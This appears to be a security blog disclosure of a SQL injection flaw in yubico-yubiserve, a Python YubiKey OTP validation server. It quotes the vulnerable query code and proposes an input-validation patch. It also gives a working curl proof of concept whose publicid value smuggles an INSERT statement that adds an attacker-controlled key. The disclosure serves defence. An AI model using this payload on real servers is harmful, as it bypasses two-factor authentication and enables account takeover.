Nowadays, two-factor authentication is unavoidable. This blogpost details a vulnerability found in the implementation of a YubiKey OTP verification server.
- Warning:
- This does not change the inner security of YubiKeys. This is just a bug in a server implementation, not in the YubiKey itself.
Here is a quick introduction from the YubiKey Security Evalution:
Yubico is the leading provider of simple, open online identity protection. The company’s flagship product, the YubiKey, uniquely combines driverless USB hardware with open source software. More than a million users in 100 countries rely on YubiKey strong two-factor authentication for securing access to computers, mobile devices, networks and online services. Customers range from individual Internet users to e-governments and Fortune 500 companies.
The YubiKey is a small hardware device that offers two-factor authentication with a simple touch of a button. Yubico offers YubiCloud, a Web service for verifying OTPs. But one can prefer to control every part of the 2FA, and not to rely on an external verification server. Several implementations are available:
yubikey-val developed in PHP by Yubico,
yubikey-server in Go,
yubico-yubiserve in Python.
The Python implementation seems appealingly simple and efficient, and handles OATH/OTP and Yubico authentication.
Vulnerability
The goals of a 2FA are completely missed if the security of the OTP server cannot be guaranteed. Unfortunately, this is the case for yubico-yubiserve since there is a trivial SQL injection vulnerability in the OATH part. The publicID parameter is under direct control of the attacker, and given directly to validateOATH method without any kind of filtering:
oathvalidation = OATHValidation(self.con)
OTP = getData['otp']
if (len(OTP) == 18) or (len(OTP) == 20):
publicID = OTP[0:12]
OTP = OTP[12:]
elif (len(OTP) == 6) or (len(OTP) == 8):
if len(getData['publicid'])>0:
publicID = getData['publicid']
else:
raise KeyError
validation = oathvalidation.validateOATH(OTP, publicID)
Next, the variable is directly inserted into an SQL query:
def validateOATH(self, OATH, publicID):
cur = self.con.cursor()
cur.execute("SELECT counter, secret FROM oathtokens WHERE publicname = '" + publicID + "' AND active = '1'")
Additional vulnerability
Another vulnerability related to SQL queries was found. The function re.escape is used to filter data given to SQL queries. Nevertheless, this function isn't designed to filter SQL data. SQLite escapes special characters differently than most other databases:
A string constant is formed by enclosing the string in single quotes
('). A single quote within the string can be encoded by putting two
single quotes in a row - as in Pascal. C-style escapes using the
backslash character are not supported because they are not standard SQL.
BLOB literals are string literals containing hexadecimal data and
preceded by a single "x" or "X" character. ... A literal value can also
be the token "NULL".
SQL injection is thus feasible since backslash character (\) added by re.escape doesn't have a special meaning for SQLite. We didn't investigate further to claim whether it is exploitable or not. Moreover, it heavily depends on the kind of database used.
Impact
The following HTTP request exploits the SQL injection and inserts an arbitrary key into the SQLite database:
$ curl -v -G 'http://192.168.2.13:8000/wsapi/2.0/oathverify' \
--data-urlencode "otp=cccccc" \
--data-urlencode "publicid=';INSERT INTO yubikeys VALUES ('pwnpwn','vvkdtkjureru','2015-07-08T09:23:03Z','980a8608b307','f1dc9c6585d600d06f9aae1abea2969e',1,1,1)/*"
This can be verified on the server by listing all yubikeys:
$ ./dbconf.py -yl | grep pwnpwn
pwnpwn >> vvkdtkjureru
An attacker can completly bypass OTP verification without any YubiKey, and hijack the identity of any user. This vulnerability is present since the beginning of the project, in 2010.
Patch
Parameterized statement is the proper way to fix this SQL injection. This idea has already been suggested on the bugtracker but was rejected. Indeed, the patch is not compatible with SQLite and MySQL because the paramstyle is different on each supported databases (SQLite, SQLite3 and MySQL).
The following patch (which has been submitted to the project) filters each field of the query string, and should fix this vulnerability:
Index: yubiserve.py
===================================================================
--- yubiserve.py (revision 73)
+++ yubiserve.py (working copy)
@@ -229,11 +229,19 @@
def getToDict(self, qs):
dict = {}
+ patterns = {
+ 'id': '[0-9]+',
+ 'otp': '[cbdefghijklnrtuv]{0,16}[cbdefghijklnrtuv]{32}',
+ 'publicid': '[cbdefghijklnrtuv]{0,16}',
+ 'nonce': '[a-zA-Z0-9]+',
+ 'service': 'all|yubikeys|oathtokens',
+ }
+
for singleValue in qs.split('&'):
keyVal = singleValue.split('=')
# Validation of input
- if keyVal[0] in ['otp','nonce','id','publicid','service'] and len(keyVal[1]) > 0:
- if keyVal[0] not in dict:
+ if patterns.has_key(keyVal[0]):
+ if keyVal[0] not in dict and re.match(patterns[keyVal[0]], keyVal[1]):
dict[keyVal[0]] = urllib.unquote_plus(keyVal[1])
else:
if len(keyVal[0]) > 0:
Taken as a whole, the code of yubico-yubiserve is way too complex. Code is copy/pasted everywhere and needs a lot of refactoring. We think that yubico-yubiserve needs a complete rewrite because the security of an OTP validation server is critical, and it was not designed with security in mind.
Although critical, this vulnerability does not question YubiKey security, which seems robust, as shown by the YubiKey Security Evalution previously mentioned. Notwithstanding, the 2FA also relies on the security of the validation server, which must obvioulsy be chosen carefully.